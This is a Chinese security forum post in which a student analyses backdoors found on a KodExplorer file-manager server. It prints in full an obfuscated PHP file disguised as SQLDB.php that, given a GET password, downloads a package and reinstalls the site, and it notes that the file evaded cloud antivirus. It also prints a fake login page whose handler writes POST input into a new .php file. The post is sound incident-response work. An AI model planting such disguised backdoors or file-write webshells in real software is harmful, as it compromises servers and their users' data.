问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
针对可道云文件管理系统的病毒分析
## 前言 之前在挖掘可到云文件管理系统漏洞的时候,在一个没有装防火墙的轻量级服务器上搭建了一个环境。在漏洞挖掘结束以后,服务器就没有再使用过。但是因为服务器之前搭建过靶场,留下了一...
0x00 前言 ======= 之前在挖掘可到云文件管理系统漏洞的时候,在一个没有装防火墙的轻量级服务器上搭建了一个环境。在漏洞挖掘结束以后,服务器就没有再使用过。但是因为服务器之前搭建过靶场,留下了一些后门文件。 这两天准备给团队开发一个资源共享系统,就想把可道云改一下UI。在熟悉底层文件的时候,突然看见一个不太和谐的文件。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/03/attach-33eb990a177d3c44c6ccadb8e705d7649cc87b8a.png) 这个文件名是SQLDB.php,像是一个系统文件。但是文件格式却是被压缩过的,与其他文件风格不一样,于是就引起了我的注意力。 因为我使用的是腾讯云服务器,如果有病毒的话会检测并通知我,但是这个文件没有被检测到。所以一开始我以为这只是一个普通的文件,在研究以后,发现这是一个利用敏感信息的病毒文件,并且要过了腾讯云的杀毒(企业版的是否绕过不知道),今天写在这里分享一下。 因为在做分析的时候对文件进行过操作,所以文件时间是比较近的。但其实是之前不知道什么时候有的。 0x01 文件内容 ========= 原来的文件内容: ```php <?php if (!defined("SQLDB")) define("SQLDB", "MCDB");$SQLKWD[SQLDB] = explode("|^|K|3", "H*|^|K|341414741474747");if (!defined(pack($SQLKWD[SQLDB][00], $SQLKWD[SQLDB][0x1]))) define(pack($SQLKWD[SQLDB][00], $SQLKWD[SQLDB][0x1]) , ord(1));if (!defined("SSHDB")) define("SSHDB", "SSHKEY");$SQLKWD[SSHDB] = explode("|v|t|Z", "H*|v|t|Z41414741474741|v|t|Z41414741474147|v|t|Z7C3A7C2D7C35|v|t|Z7C3A7C2D7C35646566696E65647C3A7C2D7C35666F70656E7C3A7C2D7C3566707574737C3A7C2D7C3566636C6F73657C3A7C2D7C3569735F66696C657C3A7C2D7C35756E6C696E6B");if (!defined(pack($SQLKWD[SSHDB] {0 }, $SQLKWD[SSHDB] {01 }))) define(pack($SQLKWD[SSHDB] {0 }, $SQLKWD[SSHDB] {01 }) , pack($SQLKWD[SSHDB] {0 }, $SQLKWD[SSHDB][02]));$SQLKWD[JARMD] = explode(pack($SQLKWD[SSHDB] {0 }, $SQLKWD[SSHDB] {3 }) , pack($SQLKWD[SSHDB] {0 }, $SQLKWD[SSHDB][0x4]));if (!defined("SQLDBWD")) define("SQLDBWD", "SQLWDG");$SQLKWD[SQLDBWD] = explode("|K|H|a", "H*|K|H|a41414747414147|K|H|a646566696E65|K|H|a41414747414141|K|H|a70|K|H|a|K|H|a3070656e2e736573616d65|K|H|a687474703A2F2F7374617469632E6B6F64636C6F75642E636F6D2F7570646174652F646F776E6C6F61642F6B6F646578706C6F726572342E34302E7A6970|K|H|a2E2F6B6F642E7A6970|K|H|a772B|K|H|a6B6F642E7A6970|K|H|a6B6F642F|K|H|a3C6120687265663D222E2F6B6F6422207461726765743D225F626C616E6B223EE689A7E8A18CE68890E58A9FE782B9E587BBE8BF9BE585A53C2F613E0A");if (!$SQLKWD[JARMD] {0x1 }(pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {1 }))) \call_user_func(pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD][02]) , pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {1 }) , pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {03 }));$SQLKWD[SQLPWD] = array( $_GET );$AGAAAAG = & $passwd;$AGAAAAA = & $ch;$AAGGGGG = & $source;$AAGGGGA = & $data;$AAGGGAG = & $destination;$file = & $AAGGGAA;$AAGGAGG = & $zip;$file_path = & $AAGGAGA;$AGAAAAG = isset($SQLKWD[SQLPWD][(0 - 1225 + 25 * AAGAGGG) ][pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {4 }) ]) ? $SQLKWD[SQLPWD][(0 - 1225 + 25 * AAGAGGG) ][pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {4 }) ] : pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD][05]);if ($AGAAAAG != pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD][06])) {exit;}$AGAAAAA = curl_init();$AAGGGGG = pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {07 });curl_setopt($AGAAAAA, CURLOPT_URL, $AAGGGGG);curl_setopt($AGAAAAA, CURLOPT_RETURNTRANSFER, (AAGAGGG * 41 - 2008));$AAGGGGA = curl_exec($AGAAAAA);curl_close($AGAAAAA);$AAGGGAG = pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {0x8 });$AAGGGAA = $SQLKWD[JARMD] {02 }($AAGGGAG, pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD][011]));$SQLKWD[JARMD] {03 }($AAGGGAA, $AAGGGGA);$SQLKWD[JARMD] {0x4 }($AAGGGAA);$AAGGAGG = new ZipArchive();if ($AAGGAGG->open(pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD][012])) === true) {$AAGGAGG->extractTo(pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {11 }));$AAGGAGG->close();}$AAGGAGA = pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {0x8 });if ($SQLKWD[JARMD] {05 }($AAGGAGA)) {if ($SQLKWD[JARMD][6]($AAGGAGA)) {}}echo pack($SQLKWD[SQLDBWD] {0x0 }, $SQLKWD[SQLDBWD] {0xC });?> ``` 展开后的: ```php <?php if (!defined("SQLDB")) define("SQLDB", "MCDB"); $SQLKWD[SQLDB] = explode("|^|K|3", "H*|^|K|341414741474747"); if (!defined(pack($SQLKWD[SQLDB][00], $SQLKWD[SQLDB][0x1]))) define(pack($SQLKWD[SQLDB][00], $SQLKWD[SQLDB][0x1]) , ord(1)); if (!defined("SSHDB")) define("SSHDB", "SSHKEY"); $SQLKWD[SSHDB] = explode("|v|t|Z", "H*|v|t|Z41414741474741|v|t|Z41414741474147|v|t|Z7C3A7C2D7C35|v|t|Z7C3A7C2D7C35646566696E65647C3A7C2D7C35666F70656E7C3A7C2D7C3566707574737C3A7C2D7C3566636C6F73657C3A7C2D7C3569735F66696C657C3A7C2D7C35756E6C696E6B"); if (!defined(pack($SQLKWD[SSHDB] { 0 } , $SQLKWD[SSHDB] { 01 } ))) define(pack($SQLKWD[SSHDB] { 0 } , $SQLKWD[SSHDB] { 01 } ) , pack($SQLKWD[SSHDB] { 0 } , $SQLKWD[SSHDB][02])); $SQLKWD[JARMD] = explode(pack($SQLKWD[SSHDB] { 0 } , $SQLKWD[SSHDB] { 3 } ) , pack($SQLKWD[SSHDB] { 0 } , $SQLKWD[SSHDB][0x4])); if (!defined("SQLDBWD")) define("SQLDBWD", "SQLWDG"); $SQLKWD[SQLDBWD] = explode("|K|H|a", "H*|K|H|a41414747414147|K|H|a646566696E65|K|H|a41414747414141|K|H|a70|K|H|a|K|H|a3070656e2e736573616d65|K|H|a687474703A2F2F7374617469632E6B6F64636C6F75642E636F6D2F7570646174652F646F776E6C6F61642F6B6F646578706C6F726572342E34302E7A6970|K|H|a2E2F6B6F642E7A6970|K|H|a772B|K|H|a6B6F642E7A6970|K|H|a6B6F642F|K|H|a3C6120687265663D222E2F6B6F6422207461726765743D225F626C616E6B223EE689A7E8A18CE68890E58A9FE782B9E587BBE8BF9BE585A53C2F613E0A"); if (!$SQLKWD[JARMD] { 0x1 } (pack($SQLKWD[SQLDBWD] { 0x0 } , $SQLKWD[SQLDBWD] { 1 } ))) \call_user_func(pack($SQLKWD[SQLDBWD] { 0x0 } , $SQLKWD[SQLDBWD][02]) , pack($SQLKWD[SQLDBWD] { 0x0 } , $SQLKWD[SQLDBWD] { 1 } ) , pack($SQLKWD[SQLDBWD] { 0x0 } , $SQLKWD[SQLDBWD] { 03 } )); $SQLKWD[SQLPWD] = array( $_GET ); $AGAAAAG = & $passwd; $AGAAAAA = & $ch; $AAGGGGG = & $source; $AAGGGGA = & $data; $AAGGGAG = & $destination; $file = & $AAGGGAA; $AAGGAGG = & $zip; $file_path = & $AAGGAGA; $AGAAAAG = isset($SQLKWD[SQLPWD][(0 - 1225 + 25 * AAGAGGG) ][pack($SQLKWD[SQLDBWD] { 0x0 } , $SQLKWD[SQLDBWD] { 4 } ) ]) ? $SQLKWD[SQLPWD][(0 - 1225 + 25 * AAGAGGG) ][pack($SQLKWD[SQLDBWD] { 0x0 } , $SQLKWD[SQLDBWD] { 4 } ) ] : pack($SQLKWD[SQLDBWD] { 0x0 } , $SQLKWD[SQLDBWD][05]); if ($AGAAAAG != pack($SQLKWD[SQLDBWD] { 0x0 } , $SQLKWD[SQLDBWD][06])) { exit; } $AGAAAAA = curl_init(); $AAGGGGG = pack($SQLKWD[SQLDBWD] { 0x0 } , $SQLKWD[SQLDBWD] { 07 } ); curl_setopt($AGAAAAA, CURLOPT_URL, $AAGGGGG); curl_setopt($AGAAAAA, CURLOPT_RETURNTRANSFER, (AAGAGGG * 41 - 2008)); $AAGGGGA = curl_exec($AGAAAAA); curl_close($AGAAAAA); $AAGGGAG = pack($SQLKWD[SQLDBWD] { 0x0 } , $SQLKWD[SQLDBWD] { 0x8 } ); $AAGGGAA = $SQLKWD[JARMD] { 02 } ($AAGGGAG, pack($SQLKWD[SQLDBWD] { 0x0 } , $SQLKWD[SQLDBWD][011])); $SQLKWD[JARMD] { 03 } ($AAGGGAA, $AAGGGGA); $SQLKWD[JARMD] { 0x4 } ($AAGGGAA); $AAGGAGG = new ZipArchive(); if ($AAGGAGG->open(pack($SQLKWD[SQLDBWD] { 0x0 } , $SQLKWD[SQLDBWD][012])) === true) { $AAGGAGG->extractTo(pack($SQLKWD[SQLDBWD] { 0x0 } , $SQLKWD[SQLDBWD] { 11 } )); $AAGGAGG->close(); } $AAGGAGA = pack($SQLKWD[SQLDBWD] { 0x0 } , $SQLKWD[SQLDBWD] { 0x8 } ); if ($SQLKWD[JARMD] { 05 } ($AAGGAGA)) { if ($SQLKWD[JARMD][6]($AAGGAGA)) { } } echo pack($SQLKWD[SQLDBWD] { 0x0 } , $SQLKWD[SQLDBWD] { 0xC } ); ?> ``` 第一眼看去,里面的变量名很多都是比较混淆的。如果把这个作为系统文件来看的话,毫无违和感,变量命名是以SQL、SSH等加上其他后缀,伪装成系统文件 0x02 文件查杀 ========= ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/03/attach-47a873577c0158c10bb20915c2b016d847c29df9.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/03/attach-e93045b1ed92dfbab07990b13a32fb010e0f27d0.png) 绕过了宝塔的文件检测,但是付费的不知道,我没有充钱 0x03 文件分析 ========= ```php $SQLKWD[SSHDB] = explode("|v|t|Z", "H*|v|t|Z41414741474741|v|t|Z41414741474147|v|t|Z7C3A7C2D7C35|v|t|Z7C3A7C2D7C35646566696E65647C3A7C2D7C35666F70656E7C3A7C2D7C3566707574737C3A7C2D7C3566636C6F73657C3A7C2D7C3569735F66696C657C3A7C2D7C35756E6C696E6B"); ``` explode函数把字符串变为数组 `explode(separator,string)` *separator* :规定在哪里分割字符串 *string* : 要分割的字符串 把这个字符串变为数组之后是这样的 ```php [0] => H* [1] => 41414741474741 [2] => 41414741474147 [3] => 7C3A7C2D7C35 [4] => 7C3A7C2D7C35646566696E65647C3A7C2D7C35666F70656E7C3A7C2D7C3566707574737C3A7C2D7C3566636C6F73657C3A7C2D7C3569735F66696C657C3A7C2D7C35756E6C696E6B ``` ```php [0] => [1] => defined [2] => fopen [3] => fputs [4] => fclose [5] => is_file [6] => unlink ``` 价值不大,继续分析,找到下一个explode ```php $SQLKWD[SQLDBWD] = explode("|K|H|a", "H*|K|H|a41414747414147|K|H|a646566696E65|K|H|a41414747414141|K|H|a70|K|H|a|K|H|a3070656e2e736573616d65|K|H|a687474703A2F2F7374617469632E6B6F64636C6F75642E636F6D2F7570646174652F646F776E6C6F61642F6B6F646578706C6F726572342E34302E7A6970|K|H|a2E2F6B6F642E7A6970|K|H|a772B|K|H|a6B6F642E7A6970|K|H|a6B6F642F|K|H|a3C6120687265663D222E2F6B6F6422207461726765743D225F626C616E6B223EE689A7E8A18CE68890E58A9FE782B9E587BBE8BF9BE585A53C2F613E0A"); ``` 通过pack函测试数据得到如下关键信息: ```php [4] =>p [5] => [6] =>0pen.sesame [7] =>http://static.kodcloud.com/update/download/kodexplorer4.40.zip [8] =>./kod.zip [9] =>w+ [10] =>kod.zip [11] =>kod/ [12] =><a href="./kod" target="_blank">执行成功点击进入</a> ``` 这个病毒通过p参数(GET)传入密码,下载压缩包,然后生成链接直接进入后台 所以这个应该是个小马,然后再有一个木马去调用他。我先访问这个文件,尝试传入密码登录后台 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/03/attach-d355331f686cb4861fa727f3710e1f68d2efda8b.png) 但是报错了 我去查询了一波相关信息,发现是我的PHP版本高了,与木马不兼容(我在尝试可道云的时候经常换PHP版本,所以这个表哥没有成功利用这个木马,版本根本不兼容。那么我之前做靶场的后门应该也有的已经失效了。) 为了测试木马病毒,我去调试了一些PHP,然后就OK了 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/03/attach-3e4d2f05c77edb3e27fe9b9080588df0a14cc85f.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/03/attach-ab2a69619bf37bb1482b0e7b4a3dba4e4731e44c.png) 确实好用。然后我发现,文件管理系统里面的数据就像被格式化了一样,清空。 再仔细一看病毒,发现是将可道云的压缩包文件下载下来,然后重新安装。传入的密码其实是安装密码。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/03/attach-1381349ae1812bb07aa4e1c092167202723a0454.png) 然后我把这个网站的文件下载后与官网的文件相比较,发现多了一个zipper.class.php,而且文件格式也是伪装的和系统文件比较像。 这是系统文件 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/03/attach-e0db8f0a851227bca388bfe441d22a1912aadf03.png) zipper.class.php用来压缩目录,然后备份数据(深藏不露) 但是仅仅依靠这两个文件我感觉无法完成一个完整的后门,肯定存在其他的后门 于是我就去找之前作为靶场的网站(不多,就几个),然后排查文件(不少,几千个),最后在红帆OA的目录里找到了一个后门。 0x04后门内容 ======== ```php <html> <head> <title>登录</title> <meta name="content-type"; charset="UTF-8"> </head> <body> <div id="bigBox"> <h1></h1> <form id="loginform" action="SQLcheck.php" method="post"> <div class="inputBox"> <div class="inputText"> <input type="text" id="name" name="username" placeholder="Username" value=""> </div> <div class="inputText"> </div> <br > <div style="color: white;font-size: 12px" > </div> </div> <div> <input type="submit" id="login" name="login" value="登录" class="loginButton m-left"> <input type="reset" id="reset" name="reset" value="重置" class="loginButton"> </div> </div> </div> </form> <style> body { margin: 0; padding: 0; background-image: url("image/bgimg.jpg"); background-repeat: no-repeat; } #bigBox { margin: 0 auto; margin-top: 170px; padding: 20px 50px; background-color: #00000090; width: 400px; height: 300px; border-radius: 10px; text-align: center; } #bigBox h1 { color: white; font-family: "Comic Sans MS"; } #bigBox .inputBox { margin-top: 20px; } #bigBox .inputBox .inputText { margin-top: 20px; } #bigBox .inputBox .inputText input { border: 0; padding: 10px 10px; border-bottom: 1px solid white; background-color: #00000000; color: white; } #bigBox .loginButton { margin-right: 30px; margin-top: 40px; width: 100px; height: 25px; color: white; border: 0; border-radius: 20px; background-image: linear-gradient(to right, #b8cbb8 0%, #b8cbb8 0%, #b465da 0%, #cf6cc9 33%, #ee609c 66%, #ee609c 100%); } .m-left{ margin-left: 30px; } .register{ position: absolute; margin-bottom: 1000px; right: 10px; color: #ffffff; margin-right:800px; font-size: 13px; } .fgtpwd{ position: absolute; margin-bottom: 1000px; right: 10px; color: #ffffff; margin-right:666px; font-size: 13px; } </style> </body> </html> ``` 没错,一个登录页面 BUT!!!! ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/03/attach-eae93264ef81b4320e2853c289b7d1eda49025cf.png) ```php <?php $SQL = $_POST['usename']; $myfile = fopen("后台备份文件误删.php", "w") or die("Unable to open file!"); fwrite($myfile, $SQL); fclose($myfile); ?> ``` 在提交这个登录请求以后,会把用户写入一个文件。 然后你在访问这个文件,你懂得 9x05 总结 ======= 因为笔者在上学,没有时间详细分析防火墙日志。我简单的分析了一下这个病毒的伪装,发现他的庐山真面目。 其实这个涉及的很多后门应该有自我销毁的功能,只是主干被保留方便二次利用罢了。 希望这个分析对大家有所帮助。
发表于 2022-03-09 11:35:01
阅读 ( 8223 )
分类:
应急响应
0 推荐
收藏
0 条评论
请先
登录
后评论
考不过刘乐琪不改名
学生
4 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!